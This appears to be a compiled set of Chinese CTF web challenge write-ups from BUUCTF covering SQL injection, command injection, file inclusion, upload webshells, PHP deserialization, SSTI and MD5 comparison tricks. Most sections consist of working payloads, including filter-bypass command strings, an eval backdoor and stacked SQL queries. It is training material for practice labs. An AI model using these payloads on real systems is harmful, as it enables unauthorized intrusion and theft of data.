0%

[极客大挑战 2019]EasySQL

一般解法

实际上这道题是登录成功就可以拿到flag

在用户名和密码都填:

payload:' or 1=1

由于用户名和密码都存在sql注入漏洞,可以用'闭合前面的查询语句同时用or绕过判断

正常解法

测试简单注入语句

有报错回显

所以密码框存在注入,可以用’闭合

当输入2”时,正常返回密码错误

接下来用%23作注释符,可以得到页面正常。

sql中用#作为注释,这是用get传递数据,用url编码一下就是%23

然后开始查有多少字段

测试到3的时候发现可以正常显示了,说明前面的查询字段有3个

构造语句,开始查当前数据库

Payload:username=1&password=1’ union select null,null,(select database()) %23

有三个查询字段,所以union 后面的语句填充两个null,和一个查当前库的语句

查到数据库就已经爆出flag

[HCTF 2018]WarmUp

打开题目一个滑稽,F12里有一个source.php,进去就是源码

/index.php?file=hint.php是一个文件包含,source.php为Index.php的源代码,得到提示,Flag在ffffllllaaaagggg里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page) 
        //传入了变量page,也就是我们刚刚传进来的file
        {
        // 这里定义了白名单
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
            /*为了返回 true 两个条件必须满足
            1 page存在 
            2 page是字符串 ,
            这里和外层的判断file 一致基本是再次判断了一遍*/
                echo "you can't see it";
                return false;
            }
            if (in_array($page, $whitelist)) {
                return true;
            }
/*in_array(search,array,type) 函数搜索数组中是否存在指定的值,
白名单过滤,需要返回了ture
所以这里我们传入的page或者是经过截断之后的page必须是soure.php或hint.php,
这里是正常的访问,我们需要构造文件任意包含,所以这里传入的不满足条件,这里不是注意的点,往下继续看*/
            $_page = mb_substr( 
                $page,
                0,
                mb_strpos($page . '?',  '?')
            );
/*这里mb_sustr 是个截断,返回0到mb_strpos之间的内容,而mb_strps 则是查找第一次出现的位置,所以基本可以理解为获取page 两个?之间的字符串,也就是获取file两个?之间的字符串,放到url中就是http://ip/?file=ddd?中的file=ddd*/            
            if (in_array($_page, $whitelist)) { 
                return true;
            }
            //这里和上面类似 查看_page 是否在白名单中
            $_page = urldecode($page); // 这里发现对_page进行了一次decode解码,
            $_page = mb_substr(//获取两个??之间的内容
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            // 这里是我们要绕过的点,从这里往上看 尝试构造
            if (in_array($_page, $whitelist)) {//白名单
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }
    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }
/*必须满足if条件,才能包含file,这里也可以猜到可能考的是文件包含: 
1 REQUEST['file']不为空 
2 REQUEST['file']是字符串 
3 checkFile($_REQUEST['file']) 为ture,回到checkFile 函数分析如何返回true*/    
?>

可以看到函数代码中有四个if语句
第一个if语句对变量进行检验,要求$page为字符串,否则返回false
第二个if语句判断$page是否存在于$whitelist数组中,存在则返回true
第三个if语句判断截取后的$page是否存在于$whitelist数组中,截取$page中'?'前部分,存在则返回true
第四个if语句判断url解码并截取后的$page是否存在于$whitelist中,存在则返回true
若以上四个if语句均未返回值,则返回false
有三个if语句可以返回true,第二个语句直接判断$page,不可用
第三个语句截取'?'前部分,由于?被后部分被解析为get方式提交的参数,也不可利用
第四个if语句中,先进行url解码再截取,因此我们可以将?经过两次url编码,在服务器端提取参数时解码一次,checkFile函数中解码一次,仍会解码为'?',仍可通过第四个if语句校验。('?'两次编码值为'%253f'),构造url:
所以我们的payload 就是
file=source.php?file=source.php%253f../../../../../ffffllllaaaagggg

构造payload:file=source.php/?file=source.php%253f../../../../ffffllllaaaagggg
访问即是flag

[极客大挑战 2019]Havefun

打开题目链接我们可以看到只是一个静态页面,就连可以点的东西都没有    

F12里有

1
2
3
4
5
6
7
  <!--
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
-->

传一个cat=dog就是flag了

[ACTF2020 新生赛]Include

用bp抓包,无其他猫腻,查看响应头得到 ==> php7.3.13,url?file=flag.php

考虑到题目名字为了Include就是文件包含

考察利用php://filter伪协议进行文件包含

构造payload=url/?file=php://filter/read=convert.base64-encode/resource=flag.php

解码后就是flag

[强网杯 2019]随便注

测试 1’ or 1=1 # ,初步判定存在SQL注入。

1
1' or 1=1 #

再测试字段数,到3时报错,说明字段数为2.

1
1' order by 1 # 

接着尝试union注入,回显了过滤的关键字。
图片

然后就是“堆叠注入”了。原理很简单,就是通过 ; 号注入多条SQL语句。先通过show databases爆出数据库。

1
0'; show databases; #

然后用 show tables 尝试爆表

1
0'; show tables; #

可以看到这里有两个表,我们先尝试爆words表的内容。

1
1'; show columns from words; #

然后报表 1919810931114514 的内容。这里学到一个新知识点,表名为数字时,要用反引号包起来查询。

1
0'; show columns from `1919810931114514 `; #

可以发现爆出来了flag字段,但是不能查看就去看了下WP

解题思路1:

1,通过 rename 先把 words 表改名为其他的表名。

2,把 1919810931114514 表的名字改为 words 。

3 ,给新 words 表添加新的列名 id 。

4,将 flag 改名为 data 。

1
1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#

解题思路2:

因为select被过滤了,所以先将select * from 1919810931114514进行16进制编码

再通过构造payload得

1
;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

进而得到flag
prepare…from…是预处理语句,会进行编码转换。

execute用来执行由SQLPrepare创建的SQL语句。

SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。

解题思路3

1
1'; handler `1919810931114514` open as `a`; handler `a` read next;#

知识点总结:

show

在过滤了 select 和 where 的情况下,还可以使用 show 来爆出数据库名,表名,和列名。

1
2
3
show datebases; //数据库。
show tables; //表名。
show columns from table; //字段。

alert
作用:修改已知表的列。( 添加:add | 修改:alert,change | 撤销:drop )

1
2
3
4
5
alter table " table_name" add " column_name"  type;#添加一个列
alter table " table_name" drop " column_name"  type;#删除一个列
alter table " table_name" alter column " column_name" type;#改变列的数据类型
alter table " table_name" change " column1" " column2" type;#改列名
alter table "table_name" rename "column1" to "column2";

SQL约束 (规定表中数据的规则)
not null- 指示某列不能存储 NULL 值。

1
2
alter table persons modify age int not null;//设置 not null 约束 。
alter table person modify age int null;//取消 null 约束。

primary key - NOT NULL 和 UNIQUE 的结合。指定主键,确保某列(或多个列的结合)有唯一标识,每个表有且只有一个主键。

1
2
3
alter table persons add age primary key (id)
unique -保证某列的每行必须有唯一的值。(注:可以有多个 UNIQUE 约束,只能有一个 PRIMARY KEY 约束。 )
alter table person add unique (id);//增加unique约束。

check-限制列中值的范围。

1
alter table person add check (id>0);

default-规定没有给列赋值时的默认值。

1
2
alter table person alter city set default 'chengdu' ;//mysql
alter table person add constraint ab_c default 'chengdu' for city;//SQL Server / MS Access

auto_increment-自动赋值,默认从1开始。
foreign key-保证一个表中的数据匹配另一个表中的值的参照完整性。

[SUCTF 2019]EasySQL

经过一系列的输入测试发现,输入数字时会显示 Array ( [0] => 1 )

而输入0则不显示

但输入flag会提示 Nonono. 那么它内部到底是一个怎么样的呢?

我们猜测它有一个 ||符号,因为当我们输入数字时被当成常量一直输出1,当我们输入带有字母时会被当做一个变量(列)而又无法找到,所以报错(没有回显),而输入带有”flag“的字符串都会弹出 Nonono. 说明过滤了“flag”这几个字符(后面发现,不区分大小写都过滤了)

2,我们尝试使用,堆叠注入,可以显示出有flag字段,但是因为过滤了“flag”几个字符所以行不通。

3,最后查看网上wp发现后台的语法可能是

1
select.POST['参数'] || flag from flag

因此可以输入*,1 来显示全部内容:
4,考核的知识点描述:

1,此题我们需要运用堆叠注入,和mysql中的 || 符号的意思及如何改变,还有mysql中的sql_mode模式的概念了解。

2,mysql服务器可以在不同的sql_mode模式下运行,并且可以根据sql_mode系统变量的值,为不同的客户机应用不同的模式。sql_mode会影响mysql支持的sql语法,并且会执行数据验证检查;

3,在Oracle,用 || 连接字符串的,而在mysql,是用CONCAT来实现的。mysql为了兼容这一个特性,设置了PIPES_AS_CONCAT模式,mysql会将 || 视为字符串的连接操作符而非 或 运算符。具体命令为:set sql_mode=PIPES_AS_CONCAT;

补充知识

1
2
sql_mode:是一组mysql支持的基本语法及校验规则
PIPES_AS_CONCAT:将“||”视为字符串的连接操作符而非或运算符,这和Oracle数据库是一样的,也和字符串的拼接函数Concat相类似
1
2
当 sql_mode 设置了  PIPES_AS_CONCAT 时,|| 就是字符串连接符,相当于CONCAT() 函数
当 sql_mode 没有设置 PIPES_AS_CONCAT 时 (默认没有设置),|| 就是逻辑或,相当于OR函数

关于MYSQL的sql_mode解析与设置
ONLY_ FULL_ GROUP_B:如果在SELECT中的列,没有在GROUP BY中出现,那么将 认为这个SQL是不合法的,因为列不在GROUP BY从句中,因为这个设置的存在,我们对于group by的用法只能是类似于select * from users group by id ;并且只能展示group by的字段,要是带有其他字段便会报错。

对这种状态进行修改:

1
2
set sql_mode=(select replace  (@@sql_mode,'ONLY_FULL_GROUP_BY','')); 可以使用该语句来将空格替换掉only_full_group_by

STRICTTRANSTABLES:在该模式下,如果一个值不能插入到一个事务表中,则中断当前的操作,对非事务表不做任何限制。
NOZERODATE:在严格模式,不要将 ‘0000-00-00’做为合法日期。你仍然可以用IGNORE选项插入零日期。在非严格模式,可以接受该日期,但会生成警告。

ERRORFORDIVISIONBYZERO:在严格模式,在INSERT或UPDATE过程中,如果被零除(或MOD(X,0)),则产生错误(否则为警告)。如果未给出该模式,被零除时MySQL返回NULL。如果用到INSERT IGNORE或UPDATE IGNORE中,MySQL生成被零除警告,但操作结果为NULL。

NOAUTOCREATE_USER:防止GRANT自动创建新用户,除非还指定了密码。

ANSIQUOTES:启用ANSIQUOTES后,不能用双引号来引用字符串,因为它被解释为识别符。

PIPESASCONCAT:将”||”视为字符串的连接操作符而非或运算符,这和Oracle数据库是一样是,也和字符串的拼接函数Concat想类似。

[ACTF2020 新生赛]Exec

知识点

没有过滤,利用常见管道符命令执行

1、|(就是按位或),直接执行|后面的语句

2、||(就是逻辑或),如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句

3、&(就是按位与),&前面和后面命令都要执行,无论前面真假

4、&&(就是逻辑与),如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

5、; 前后都执行,无论前面真假,同&,(linux也有)

解题:

1
2
127.0.0.1|ls
index.php

从根目录开始找flag,耗时长

1
2
3
4
127.0.0.1 | find / -name flag
/flag

127.0.0.1 & cat /flag

[极客大挑战 2019]Secret File

知识点:

  • 前端中背景可以覆盖内容,页面源代码可以查看完整的html

  • 在php文件中可以写入html代码,html可在前端展示出来,php代码主要是处理数据,通常不会展示。

  • 文件包含漏洞,PHP伪协议获取文件
    php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

    环境概要:

PHP.ini:

allow_url_fopen :on 默认开启 该选项为on便是激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象文件等。

allow_url_include:off 默认关闭,该选项为on便是允许 包含URL 对象文件等。

打开链接

 访问Archive_room.php,发现又给出了提示:我把他们都放在这里了,去看看吧。还有一个类似button一样的东西,查看审查元素可知是action.php,我们点进去。

访问action.php立即跳转到了end.php,并且页面显示的是:查阅结束 没看清么?回去再仔细看看吧。我们可以猜测action.php访问时间很短,时间一到立即跳转到end.php。为了拦截action.php,我们可以使用BrupSuite来抓包。

访问secr3t.php,页面显示了php代码
1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
发现这里有一个文件包含漏洞,但是在这里好像没什么用,因为我们还不确定存在flag的文件。根据代码的注释内容,访问flag.php。又出现提示:啊哈!你找到我了!可是你看不到我QAQ~~~ 我就在这里。
传入的file经过了一些过滤,但是没有过滤filter,我们可以用php://fileter来获取文件。构造url:url[/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php](http://00b5c733-809a-4aed-a498-27d306b09452.node3.buuoj.cn/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php))

解密base64即可

[GXYCTF2019]Ping Ping Ping

图片

那就放在URL里尝试吧

/?ip=127.0.0.1

有明显的的回显结果

  1. 构造如下 payload
    1
    /?ip=127.0.0.1|ls
    有结果,得到文件名称
    图片
1
?ip=1|cat flag.php

发现空格被过滤
绕过空格

1
2
3
4
5
6
7
8
$IFS
${IFS}
$IFS$1 //1 改 成 1改成1改成加其他数字貌似都行
<
<>
{cat,flag.php} //用逗号实现了空格功能
%20
%09

注意:
有时 cat 可能被过滤,那么尝试用 tac,反向输出;或者 linux命令中可以加 \,所以甚至可以 ca\t /fl\ag

知道了空格的绕过方法,逐个尝试,构造如下 payload

1
/?ip=1|cat$IFS$1flag.php

过滤了flag
 查看 index.php 看能否得到些许有用信息,构造 payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/?ip=1|cat$IFS$1index.php
?ip=
<pre>/?ip=
<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}
?>

进行代码审计,发现过滤很多标点,空格,bash以及flag的贪婪匹配,,,,,那么常规访问 flag.php 的方法肯定行不通,代码中有个 $a 考虑进行变量覆盖,构造如下 payload

1
2
3
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
//或者
?ip=1;a=f;d=ag;c=l;cat$IFS$a$c$d.php

查看右键源码即可有flag
官方给出 payload 为

1
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

即先对 cat flag.php 进行base64 加密,过滤 bash ,那就用 sh
还有另外一种方法:内联执行

使用 `` 代替 | ,将反引号内命令的输出作为输入执行,即

1
/?ip=2.2.2.2;cat$IFS$1`ls`

知识点:

  • 命令执行变量拼接
  • 过滤 bash 用 sh 执行
  • 内联执行,将反引号内命令的输出作为输入执行
  • 空格绕过姿势
  • 代码审计能力
  • 熟悉 Linux 命令的使用方法,管道等

    [极客大挑战 2019]LoveSQL

直接万能密码,登陆成功

登陆成功,看了一下url,是以get方式进行传参。先在username处测试一下有没有注入点:

?username=1' order by 1%23&password=ads

没有报错,只是说账号密码错误。直到order by 4的时候,报错了:

判断出有三个字段,接下来开始寻找注入点:

?username=1' union select 1,2,3%23&password=ads

很明显,2和3都是注入点,而且没有过滤,接下来直接写命令了。

1
?username=1' union select 1,database(),3%23&password=ads

得到数据库名:geek!

1
?username=1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=ads

得到表名geekuser,l0ve1ysq1

1
?username=1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23&password=ads

得到字段名id,username,password

1
?username=1' union select 1,database(),group_concat(id,username,password) from l0ve1ysq1%23&password=ads

flag出来了~~

[极客大挑战 2019]Knife

看到题目 knife 第一反应 猜测可能是中国菜刀题

1
eval($_POST["Syc"]);

这是一个典型的后门程序
有的字符串放入到eval当中,eval会把字符串解析为php代码来进行执行,那么结合$_POST[‘posha’]的话,只要使用post传输时在name为posha的值中写入任何字符串,都可以当做php代码来执行。

用蚁剑复制URL并填入密码,连上查看根目录就是flag

[极客大挑战 2019]Http

进入环境找到secret.php

1
2
我们需要修改header头,把https://www.Sycsecret.com写进去,复制一个头文件,添加关键的一行
Referer:https://www.Sycsecret.com

随后提示我们浏览器需要使用Syclover,向头里面添加一行,也就是修改一下User-Agent的内容
它说我们只能在本地访问,那么意思就是要我们使用127.0.0.1来访问,那么我们来添加一行

1
X-Forwarded-For:127.0.0.1

接下来就是flag

[极客大挑战 2019]Upload

从页面上来看是上传一个图片文件,但是不知道是怎样检查的,要先试一试

一般可以检查的地方有:后缀名、content-type、文件头的部分内容

先上传一个php,不做任何修改

接下来试一下phtml+修改content-type

phtml一般是指嵌入了php代码的html文件,但是同样也会作为php解析

也许文件头也检查了,那就加上GIF89a

测试出来大概就是,后缀名可以是phtml,会检查content-type,文件头的部分,以及<?

所以最后的木马:

蚁剑连上就是flag

[ACTF2020 新生赛]Upload

打开之后啥也没有,鼠标放在中间的灯上面发现有文件上传的地方,猜测是一个文件上传漏洞

先随便上传一个文件,发现提示

 并且bp抓包并没有抓到包,说明为前端检测过滤。

那就上传jpg,png,gif这三种类型的文件,然后bp抓包在修改后缀为php。

先上传一个jpg文件,内容为

 发现后端还是进行了检查过滤

那就试试其他几种后缀:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht,这些后缀名都可以被当做php文件执行(需要配置文件里面的支持)

1、例如Apache的 httpd.conf 中有如下配置代码:

AddType application/x-httpd-php .php .phtml .phps .php5 .pht

2、或者.htaccess文件内容:

SetHandler application/x-httpd-php

意思是设置当前所有文件都使用PHP解析,那么无论上传任何文件,只要文件内容符合PHP语言代码规范,就会被当做PHP执行。不符合则报错。

phtml一般是指嵌入了php代码的html文件,但是同样也会作为php解析

PHT文件是一个HTML页面,其中包括一个PHP脚本

发现只有phtml满足绕过并且能够执行php代码
 访问这个文件

将将文件内容改成重新上传

ps:这题不能上传.htaccess文件,因为上传文件后会修改文件名。

[RoarCTF 2019]Easy Calc

题目打开查看源码

.ajax是指通过http请求加载远程数据。

可以发现有一个calc.php,输入的算式会被传入到这个php文件里,尝试一下能不能打开

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

foreach 语法结构提供了遍历数组的简单方式。
语法:

1
2
3
4
foreach (array_expression as $value)
statement
foreach (array_expression as $key => $value)
statement

在这道题里,会对黑名单中的每一个值都拿出来连接成正则表达式的字符串,/m表示多行查找
其他几个参数:

1
2
3
4
5
/i (忽略大小写)
/g (全文查找出现的所有匹配字符)
/m (多行查找)
/gi(全文查找、忽略大小写)
/ig(全文查找、忽略大小写)

了解一下php的解析规则,当php进行解析的时候,如果变量前面有空格,会去掉前面的空格再解析
而这里黑名单过滤,没有过滤这种情况,那么久可以构造一个查询语句了

? num=1;var_dump(scandir(chr(47)))

scandir(/)可以查看目录,用chr()来绕过waf,注意在calc.php页面提交

可以看到一个f1agg,打开这个文件就好

1
payload:? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

即可看到flag

[极客大挑战 2019]BabySQL

select union or and where from 都被过滤了,采取双写绕过

比如:seselectlect这种形式

1
http://6d3700e3-2a8a-4291-9f0b-67e729cae0a1.node3.buuoj.cn/check.php?username=1' ununionion selselectect 1,(selselectect group_concat(table_name) frofromm infoorrmation_schema.tables whwhereere table_schema=database()),3 %23&password=1111
1
2
http://6d3700e3-2a8a-4291-9f0b-67e729cae0a1.node3.buuoj.cn/check.php?username=1' ununionion selselectect 1,(selselectect group_concat(column_name) frofromm infoorrmation_schema.columns whwhereere table_name = 'b4bsql'),3 %23&password=1111

1
2
http://6d3700e3-2a8a-4291-9f0b-67e729cae0a1.node3.buuoj.cn/check.php?username=1' ununionion selselectect 1,(seselectlect group_concat(passwoorrd) frfromom b4bsql),3 %23&password=1111
http://6d3700e3-2a8a-4291-9f0b-67e729cae0a1.node3.buuoj.cn/check.php?username=1' ununionion selselectect 1,(seselectlect group_concat(passwoorrd) frfromom b4bsql),3 %23&password=1111

以上payload依次输入即可得到flag

[极客大挑战 2019]PHP

打开提示备份文件,常见的备份文件跑一下字典,我这里直接试出来了是www.zip,下载后有flag.php,class.php和index.php

index.php中最主要的是以下代码,需要我们传一个select进去,然后进行反序列化

1
2
3
4
5
 <?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

下面是class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
include 'flag.php';



error_reporting(0);



class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

根据代码的意思可以知道,如果password=100,username=admin,在执行__destruct()的时候可以获得flag,所以我们需要达成这些要求
那我们构造序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new name('admin',100);
var_dump(serialize($a));
?>

跑出来是这样的

1
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

到了这一步,问题就来了,在反序列化的时候会首先执行__wakeup()魔术方法,但是这个方法会把我们的username重新赋值,所以我们要考虑的就是怎么跳过__wakeup(),而去执行__destruct

跳过__wakeup()

在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数的执行

1
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

属性个数原本是2,这里人为改为其他数字

private

private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上0的前缀。字符串长度也包括所加前缀的长度

我们再次改造一下序列化

1
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

将以上payload传进去就行
或者用jio本

1
2
3
4
5
import requests

url='url'
html = requests.get(url+"上述payload")
print(html.text)

[ACTF2020 新生赛]BackupFile

第一步:进入题目,看到提示找到源文件,通过题目分析是找备份文件

图片

php网站的备份文件可以尝试*.php.bak或者*.php~

这题是index.php.bak获得源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

第二步:查看index.php.bak
通过源码得知需传入key这个参数,之后将key的数字提取出来与str字符串比较,相等就打印flag。

注:php中数字与字符串比较时,会将字符串里的数字传换成int,用这部分与之比较,所以我们只需传入123即可获得flag

[护网杯 2018]easy_tornado

打开题目依次有三个链接

图片

图片

图片

结合render和题目的tornado可以知道是python的模板注入

网址里有参数filenamefilehash推测这里flag应该是

filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(filename))里面,filehash里hash就是提示为md5的hash加密。 变量 filename 的值总是为要访问的文件,再根据提示三和 filehash 三个不同的值猜测 filehash 的值为MD5加密后的字符串

cookie经过提示可以知道能通过模板注入获取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
扩展:SSTI注入
SSTI就是服务器端模板注入(Server-Side Template Injection),也给出了一个注入的概念。

服务端模板:相当于很多公式,根据变量输出结果。这里的模板就是模板引擎根据数据自动生成前端页面。

常见的注入有:SQL 注入,XSS 注入,XPATH 注入,XML
注入,代码注入,命令注入等等。sql注入已经出世很多年了,对于sql注入的概念和原理很多人应该是相当清楚了,SSTI也是注入类的漏洞,其成因其实是可以类比于sql注入的。

sql注入是从用户获得一个输入,然后又后端脚本语言进行数据库查询,所以可以利用输入来拼接我们想要的sql语句,当然现在的sql注入防范做得已经很好了,然而随之而来的是更多的漏洞。

SSTI也是获取了一个输入,然后在后端的渲染处理上进行了语句的拼接,然后执行。错误的执行了用户输入。类比于 sql
注入。当然还是和sql注入有所不同的,SSTI利用的是现在的网站模板引擎(下面会提到),主要针对python、php、java的一些网站处理框架,比如Python的jinja2
mako tornado django,php的smarty twig,java的jade
velocity。当这些框架对运用渲染函数生成html的时候会出现SSTI的问题。

因为render()是tornado里的函数,可以生成html模板。是一个渲染函数 ,就是一个公式,能输出前端页面的公式。
tornado是用Python编写的Web服务器兼Web应用框架,简单来说就是用来生成模板的东西。和Python相关,和模板相关,就可以推测这可能是个ssti注入

初步尝试:

/file?filename=/fllllllllllllag&filehash=1

1
2
3
由官方文档可以知道:Tornado templates support control statements and expressions. Control
statements are surrounded by {% %}, e.g. {% if len(items) > 2 %}.
Expressions are surrounded by {{ }}, e.g. {{ items[0] }}.

使用花括号的原因
我们传一个1进去可以回显,赋值22*22返回orz可知存在模板注入,这里过滤了

所以我们需要找到能查看cookie的方法

官方文件可知Tornado框架的附属文件handler.settings中存在cookie_secret

1
2
3
4
5
6
7
8
9
Handler这个对象,Handler指向的处理当前这个页面的RequestHandler对象

RequestHandler中并没有settings这个属性,与RequestHandler关联的Application对象(Requestion.application)才有setting这个属性

handler 指向RequestHandler

而RequestHandler.settings又指向self.application.settings

所有handler.settings就指向RequestHandler.application.settings

构造payload=url/error?msg=
可得到cookie

再按照之前的提示进行md5转换file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(/fllllllllllllag))

即可得到flag

[极客大挑战 2019]BuyFlag

进去直接查看buy.php

图片

说是flag要100000000这些钱。

除此之外再无线索,查看源码,发现:

图片

让我们post过去一个money和一个password,password要等于404,并且password不能为数字,那好办我们可以用弱类型,即让password=404a

图片

发现有个cookie值,且等于0,CTF直觉这肯定要改成1的 因为正常情况下这里是cookie的值

得到回显:“Nember lenth is too long”:

将数字改为科学计数法,即可

长度太长,合理猜测一下用的是strcmp,那么直接money[]=1就可以了

1
2
3
4
5
6
php中的strcmp漏洞
说明:
int strcmp ( string $str1 , string $str2 )
参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。

可知,传入的期望类型是字符串类型的数据,但是如果我们传入非字符串类型的数据的时候,这个函数将会有怎么样的行为呢?实际上,当这个函数接受到了不符合的类型,这个函数将发生错误,但是在5.3之前的php中,显示了报错的警告信息后,将return 0

[BJDCTF2020]Easy MD5

打开环境查看响应头可得到提示

图片

这里看了wp,可以用ffifdyop,因为ffifdyop被md5后会变成276f722736c95d99e921722cf9ed621c,而十六进制会被转为ascii,最终变成’ or ‘6,所以就成永真式 select * from ‘admin’ where password = ‘ ‘ or ‘6….’ 相当于万能密码了,然后进入下一关

图片

这里是php的md5弱比较,a要与b不相等,但md5相等,md5弱比较,只要找到前部分相同得MD5就行,这里可以用数组绕过,也可以用一些特殊的值绕过,特殊值放在最后,数组为a[]=1&b[]=2

图片

这里是md5的强比较,要求类型和值都要一样,还是可以用数组绕过,因为md5函数不用解出数组的值,param1[]=111&param2[]=222即可

提供一些0e开头的md5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
